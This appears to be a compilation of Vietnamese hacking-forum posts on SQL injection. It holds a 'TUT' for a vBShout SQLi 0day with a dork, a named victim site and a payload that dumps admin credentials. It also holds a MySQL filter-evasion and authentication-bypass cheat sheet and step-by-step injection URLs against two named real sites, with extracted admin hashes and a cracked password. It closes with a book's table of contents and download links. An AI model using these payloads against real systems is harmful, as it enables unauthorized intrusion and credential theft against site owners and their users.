[TUT] Inferno vBShout SQLI 0day <= 2.5.2

Đầu tiên vào google.vn search dork sau:

inurl:infernoshout.php?do=options&area=commands

Ra được 1 nùi site. Mình chọn site này làm Victim : http://www.cinemekan.com/infernoshout.php?do=options&area=commands
 

Ô Command Input nhập:

' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password,0x3a,salt) as char),0x7e)) from user where userid=1 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='#

 Ô Command Output thì nhập cái gì cũng được. Sau đó nhấn Save Settings

Nó sẽ hiện ra trang DB error

Nhấn Ctrl + U trên bàn phím. Và kéo xuống dưới cùng sẽ ra 1 trang chứa thông thông user + password+ salt của nó .

Xong bây h chúng ta có thể login bằng cookie vào được tài khoản admin rùi.
tut ngắn gọn, có gì sai mong được mọi người góp ý. Chúc mọi người thành công và vui vẻ

Tut By X-T

Nguồn: VHB

SQL - TUT Magic convert & Error based

Magic convert :

http://www.mediafire.com/?leuyke4493l30fs

http://www.mediafire.com/?3t414vzrpssd3g1

Nguồn: VHB

SQLi filter evasion cheat sheet

SQLi filter evasion cheat sheet (MySQL)
Basic filter

Comments
‘ or 1=1#
‘ or 1=1– -
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1

Prefixes
+ – ~ !
‘ or –+2=- -!!!’2

Operators
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_s chema`.`tables`)#

Strings with quotes
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61′

Strings without quotes
‘abc’ = 0×616263

Aliases
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users

Typecasting
‘ or true = ’1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ’1 # or true

Compare operator typecasting
select * from users where ‘a’='b’='c’
select * from users where (‘a’='b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users

Authentication bypass ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users

Authentication bypass ‘-’
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users
Function filter

General function filtering
ascii (97)
load_file/*foo*/(0×616263)

Strings with functions
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36 ))

Strings extracted from gadgets
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.col lations)where(id)=2) // latin2_czech_cs

Special characters extracted from gadgets
aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
des_encrypt(1,2) // ‚GÒ/ïÖk
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\

Integer representations
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36

@@new: 0
@@log_bin: 1

!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4

minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)

Extract substrings
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space( 0)) = ‘a’
space(0) = trim(version()from(version()))

Search substrings
locate(‘a’,'abc’)
position(‘a’,'abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,'a’)
substring_index(‘ab’,'b’,1)

Cut substrings
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))

Compare strings
strcmp(‘a’,'a’)
mod(‘a’,'a’)
find_in_set(‘a’,'a’)
field(‘a’,'a’)
count(concat(‘a’,'a’))

String length
length()
bit_length()
char_length()
octet_length()
bit_count()

String case
ucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)
Keyword filter

Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0′union all select all`table_name`foo from`information_schema`. `tables`

OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-’

OR, AND, UNION
‘ and (select pass from users limit 1)=’secret

OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a

OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a'))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoo t’,(load_file(‘file’)))+length(‘DocumentRo ot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=� �a',1,0),0)#

Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’='a’ then 1 [else 0] end
if(‘a’='a’,1,0)
ifnull(nullif(‘a’,'a’),1)

Nguồn:
http://websec.wordpress.com/2010/12/...t-sheet-mysql/

[TUT] - SQL http://phim.haylem.net (fake HTML)

Cũng là Rewrite đuôi thành HTML.

Tutorial:

Get version
http://phim.haylem.net/the-loai/Hanh...7e,version())) and 'a'='a/page-1.html

Get table
http://phim.haylem.net/the-loai/Hanh...se()+limit+0,1 ))) and 'a'='a/page-1.html
Thay limit 0,1 bởi limit 1,1 ..... limit 12,1 ta được tất cả table

Get column
http://phim.haylem.net/the-loai/Hanh...6572+limit+2,1 ))) and 'a'='a/page-1.html

Get data admin
http://phim.haylem.net/the-loai/Hanh...user+limit+0,1 ))) and 'a'='a/page-1.html

Ta được: 

admin|b56f4ab266bd60dc6e8ff73ed

[TUT] - SQL http://gametienlen.net (fake HTML)

Site này rewrite domain thành .html chứ thực ra là ASPX

Tutorial:

Get version
http://gametienlen.net/gameonline/GA...t,@@VERSION)-- -.html

Get data
http://gametienlen.net/gameonline/GA...t,DB_NAME())-- -.html

Get table
Table đầu tiên
http://gametienlen.net/gameonline/GA...chema.tables)) -- -.html
http://gametienlen.net/gameonline/GA..._Schema.tables +where+table_name+not+in('tb_user_group'))) -- -.html

Tất cả các table
http://gametienlen.net/gameonline/GA..._Schema.tables +where+table_name+not+in('tb_account' ,'tb_quangcao','tb_comment','tb_game_phone_type',' tb_thanhvien','tb_user_group')))-- -.html

Get column của 'tb_account'
Column đầu tiên
http://gametienlen.net/gameonline/GA...#39;tb_account ')) -- -.html

Column user va pass
http://gametienlen.net/gameonline/GA...#39;tb_account ' +and+column_name+not+in+('pass' ,'username','id_email','id_account'))) -- -.html

Get username
http://gametienlen.net/gameonline/GAME_AVATAR'+and 1=convert(int,(select top 1 username from tb_account)) -- -.html

Get password
http://gametienlen.net/gameonline/GAME_AVATAR'+and 1=convert(int,(select top 1 pass from tb_account)) -- -.html

Cuối cùng ta được:

admin|4438FC033F8AEF433F9DB5348B70E8E5

Crack pass đơn giản:

admin|123698745

Tấn công và Phòng thủ trong SQL Injection

What Is SQL Injection?
1-Introduction
2-Understanding How Web Applications Work.
3-A Simple Application Architecture
4-A More Complex Architecture
5-Understanding SQL Injection
6-High-Profile Examples
7-Understanding How It Happens
8-Dynamic String Building
9-Incorrectly Handled Escape Characters
10-Incorrectly Handled Types
11-Incorrectly Handled Query Assembly
12-Incorrectly Handled Errors
13-Incorrectly Handled Multiple Submissions
14-Insecure Database Configuration
15-Summary
16-Solutions Fast Track
17-Frequently Asked Questions


Testing for SQL Injection
1-Introduction
2-Finding SQL Injection
3-Testing by Inference
4-Identifying Data Entry
5-GET Requests
6-POST Requests
7-Other Injectable Data
8-Manipulating Parameters
9-Information Workf low
10-Database Errors
11-Commonly Displayed SQL Errors
12-Microsoft SQL Server Errors
13-MySQL Errors
14-Oracle Errors
15-Generic Errors
16-HTTP Code Errors
17-Different Response Sizes
18-Blind Injection Detection
19-Confirming SQL Injection
20-Differentiating Numbers and Strings
21-Inline SQL Injection
22-Injecting Strings Inline
23-Injecting Numeric Values Inline
24-Terminating SQL Injection
25-Database Comment Syntax
26-Using Comments
27-Executing Multiple Statements
28-Time Delays
29-Automating SQL Injection Discovery
30-Tools for Automatically Finding SQL Injection
31-HP WebInspect
32-IBM Rational AppScan
33-HP Scrawlr
34-SQLiX
35-Paros Proxy
36-Summary
37-Solutions Fast Track
38-Frequently Asked Questions


Reviewing Code for SQL Injection

1-Introduction
2-Reviewing Source Code for SQL Injection
3-Dangerous Coding Behaviors
4-Dangerous Functions
5-Following the Data
6-Following Data in PHP
7-Following Data in Java
8-Following Data in C#
9-Reviewing PL/SQL and T-SQL Code
10-Automated Source Code Review
11-Yet Another Source Code Analyzer
12-Pixy
13-AppCodeScan
14-LAPSE
15-Security Compass Web Application Analysis Tool (SWAAT)
16-Microsoft Source Code Analyzer for SQL Injection
17-Microsoft Code Analysis Tool .NET (CAT.NET)
18-Commercial Source Code Review Tools
19-Ounce
20-Source Code Analysis
21-CodeSecure
22-Summary
23-Solutions Fast Track
24-Frequently Asked Questions


Exploiting SQL Injection

1-Introduction
2-Understanding Common Exploit Techniques
3-Using Stacked Queries
4-Identifying the Database
5-Non-Blind Fingerprint
6-Banner Grabbing
7-Blind Fingerprint
8-Extracting Data through UNION Statements
9-Matching Columns
10-Matching Data Types
11-Using Conditional Statements
12-Approach 1: Time-based
13-Approach 2: Error-based
14-Approach 3: Content-based
15-Working with Strings
16-Extending the Attack
17-Using Errors for SQL Injection
18-Error Messages in Oracle
19-Enumerating the Database Schema
20-SQL Server
21-MySQL
22-Oracle
23-Escalating Privileges
24-SQL Server
25-Privilege Escalation on Unpatched Servers
26-Oracle
27-Stealing the Password Hashes
28-SQL Server
29-MySQL
30-Oracle
31-Oracle Components
32-APEX
33-Oracle Internet Directory
34-Out-of-Band Communication
35-E-mail
36-Microsoft SQL Server
37-Oracle
38-HTTP/DNS
39-File System
40-SQL Server
41-MySQL
42-Oracle
43-Automating SQL Injection Exploitation
44-Sqlmap
45-Sqlmap Example
46-Bobcat
47-BSQL
48-Other Tools
49-Summary
50-Solutions Fast Track
51-Frequently Asked Questions


Blind SQL Injection Exploitation


1-Introduction
2-Finding and Confirming Blind SQL Injection
3-Forcing Generic Errors
4-Injecting Queries with Side Effects
5-Spitting and Balancing
6-Common Blind SQL Injection Scenarios
7-Blind SQL Injection Techniques
8-Inference Techniques
9-Increasing the Complexity of Inference Techniques
10-Alternative Channel Techniques
11-Using Time-Based Techniques
12-Delaying Database Queries
13-MySQL Delays
14-Generic MySQL Bit-by-Bit Inference Exploits
15-SQL Server Delays
16-Generic SQL Server Binary Search Inference Exploits
17-Generic SQL Server Bit-by-Bit Inference Exploits
18-Oracle Delays
19-Time-Based Inference Considerations
20-Using Response-Based Techniques
21-MySQL Response Techniques
22-SQL Server Response Techniques
23-Oracle Response Techniques
24-Returning More Than One Bit of Information
25-Using Alternative Channels
26-Database Connections
27-DNS Exfiltration
28-E-mail Exfiltration
29-HTTP Exfiltration
30-Automating Blind SQL Injection Exploitation
31-Absinthe
32-BSQL Hacker
33-SQLBrute
34-Sqlninja
35-Squeeza
36-Summary
37-Solutions Fast Track
38-Frequently Asked Questions


Exploiting the Operating System

1-Introduction
2-Accessing the File System
3-Reading Files
4-MySQL
5-Microsoft SQL Server
6-Oracle
7-Writing Files
8-MySQL
9-Microsoft SQL Server
10-Oracle
11-Executing Operating System Commands
12-Direct Execution
13-Oracle
14-DBMS_SCHEDULER
15-PL/SQL Native
16-Other Possibilities
17-Alter System Set Events
18-PL/SQL Native 9i
19-Buffer Overflows
20-Custom Application Code
21-MySQL
22-Microsoft SQL Server
23-Consolidating Access
24-Summary
25-Solutions Fast Track
26-Frequently Asked Questions
27-Endnotes


Advanced Topics

1-Introduction
2-Evading Input Filters
3-Using Case Variation
4-Using SQL Comments
5-Using URL Encoding
6-Using Dynamic Query Execution
7-Using Null Bytes
8-Nesting Stripped Expressions
9-Exploiting Truncation
10-Bypassing Custom Filters
11-Using Non-Standard Entry Points
12-Exploiting Second-Order SQL Injection
13-Finding Second-Order Vulnerabilities
14-Using Hybrid Attacks
15-Leveraging Captured Data
16-Creating Cross-Site Scripting
17-Running Operating System Commands on Oracle
18-Exploiting Authenticated Vulnerabilities
19-Summary
20-Solutions Fast Track
21-Frequently Asked Questions

Code-Level Defenses

1-Introduction
2-Using Parameterized Statements
3-Parameterized Statements in Java
4-Parameterized Statements in .NET (C#)
5-Parameterized Statements in PHP
6-Parameterized Statements in PL/SQL
7-Validating Input
8-Whitelisting
9-Blacklisting
10-Validating Input in Java
11-Validating Input in .NET
12-Validating Input in PHP
13-Encoding Output
14-Encoding to the Database
15-Encoding for Oracle
16-Oracle dbms_asser
17-Encoding for Microsoft SQL Server
18-Encoding for MySQL
19-Canonicalization
20-Canonicalization Approache
21-Working with Unicode
22-Designing to Avoid the Dangers of SQL Injection
23-Using Stored Procedures
24-Using Abstraction Layers
25-Handling Sensitive Data
26-Avoiding Obvious Object Names
27-Setting Up Database Honeypots

Reference

1-Introduction
2-Structured Query Language (SQL) Primer
3-SQL Queries
4-SELECT Statement
5-UNION Operator
6-INSERT Statement
7-UPDATE Statement
8-DELETE Statement
9-DROP Statement
10-CREATE TABLE Statement
11-ALTER TABLE Statement
12-GROUP BY Statement
13-ORDER BY Clause
14-Limiting the Result Set
15-SQL Injection Quick Reference
16-Identifying the Database Platform
17-Identifying the Database Platform via Time Delay Inference
18-Identifying the Database Platform via SQL Dialect Inference
19-Combining Multiple Rows into a Single Row
20-Microsoft SQL Server Cheat Sheet.
21-Blind SQL Injection Functions: Microsoft SQL Server
22-Microsoft SQL Server Privilege Escalation
23-OPENROWSET Reauthentication Attack
24-Attacking the Database Server: Microsoft SQL Server
25-System Command Execution via xp_cmdshell
26-xp_cmdshell Alternative
27-Cracking Database Passwords
28-Microsoft SQL Server 2005 Hashes
29-File Read/Write
30-MySQL Cheat Sheet
31-Enumerating Database Configuration Information and Schema
32-Blind SQL Injection Functions: MySQL
33-Attacking the Database Server: MySQL
34-System Command Execution
35-Cracking Database Passwords
36-Attacking the Database Directly
37-File Read/Write
38-Oracle Cheat Sheet
39-Enumerating Database Configuration Information and Schema
40-Blind SQL Injection Functions: Oracle
41-Attacking the Database Server: Oracle
42-Command Execution
43-Reading Local Files
44-Reading Local Files (PL/SQL Injection Only)
45-Writing Local Files (PL/SQL Injection Only)
46-Cracking Database Passwords
47-Bypassing Input Validation Filters
48-Quote Filters
49-HTTP Encoding
50-Troubleshooting SQL Injection Attacks
51-SQL Injection on Other Platforms
52-PostgreSQL Cheat Sheet
53-Enumerating Database Configuration Information and Schema
54-Blind SQL Injection Functions: PostgreSQL
55-Attacking the Database Server: PostgreSQL
56-System Command Executio
57-Local File Access
58-Cracking Database Passwords
59-DB2 Cheat Sheet
60-Enumerating Database Configuration Information and Schema
61-Blind SQL Injection Functions: DB2
62-Informix Cheat Sheet
63-Enumerating Database Configuration Information and Schema
64-Blind SQL Injection Functions: Informix
65-Ingres Cheat Sheet
66-Enumerating Database Configuration Information and Schema
67-Blind SQL Injection Functions: Ingres
68-Microsoft Access
69-Resources
70-SQL Injection White Papers
71-SQL Injection Cheat Sheets
72-SQL Injection Exploit Tools
73-Password Cracking Tools
74-Solutions Fast Track

Download :
http://www.mediafire.com/?359ldesiai4154a